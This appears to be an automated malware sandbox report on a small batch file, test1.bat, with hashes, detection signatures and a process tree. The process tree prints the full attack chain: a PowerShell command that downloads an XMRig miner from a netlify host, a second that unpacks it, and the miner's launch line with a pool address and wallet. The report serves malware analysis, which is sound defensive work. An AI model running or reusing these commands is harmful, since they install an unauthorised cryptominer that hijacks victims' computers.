Resubmissions
07/03/2024, 19:07
240307-xsx6dscd3w 1007/03/2024, 19:07
240307-xswybscd3s 1007/03/2024, 19:07
240307-xsvehacd2z 1007/03/2024, 19:07
240307-xss7facd2x 1007/03/2024, 19:07
240307-xsrzdabe29 1007/03/2024, 19:07
240307-xsqfjscc91 1007/03/2024, 19:07
240307-xsn8gsbe26 1007/03/2024, 19:07
240307-xsmpnabe24 1007/03/2024, 19:07
240307-xslglacc9z 1007/03/2024, 19:06
240307-xsjyrsbd97 10Analysis
-
max time kernel
820s -
max time network
822s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
07/03/2024, 19:06
General
-
Target
test1.bat
-
Size
620B
-
MD5
ae675cd3674938550035ef5176a7f8c4
-
SHA1
05896e426ed40e31de4d3b2151f7b64ba8882db0
-
SHA256
0f027fbb0fb8773bb159c37148b974ba3d6a43a5f63890df13ae31cef233b994
-
SHA512
8ab4a7ac21123a9fd7d853e289dc4b4a54e531526e51f9fbbdc11f7d65b7a527c936ca6bfb439a459bd57dac032e28f9519ffdbdc158592b1362fe6def57cdfe
Malware Config
Signatures
-
XMRig Miner payload 40 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test1.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {iwr -URI 'https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip' -OutFile 'C:\xmrig\xmrig-6.21.1-gcc-win64.zip';}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& {Add-Type -A 'System.IO.Compression.FileSystem';[IO.Compression.ZipFile]::ExtractToDirectory('C:\xmrig\xmrig-6.21.1-gcc-win64.zip', 'C:\xmrig');}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe -coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --threads=8 --cpu-no-yield2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD50f6a3762a04bbb03336fb66a040afb97
SHA10a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA25636e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
SHA512cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
4.9MB
MD540ceef390b416eeaa24761e05b3541f8
SHA14e7979a3be29d467e3cd2e9390131f6c574c6276
SHA2566ac1ebd3eb5cac236f37e4989f4eba026a998717bd174133850f4d2a3f2e6db7
SHA512acff68091b224a3a30e95ab8b2891f236b27e816f1db6a64cd2de572a9cb69e75d076a423ca2bdb8a7f2c5f27c24886e16f1850bc31e4d0054b177f803cef719
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
40KB
-
Filesize
72KB
-
Filesize
10.8MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB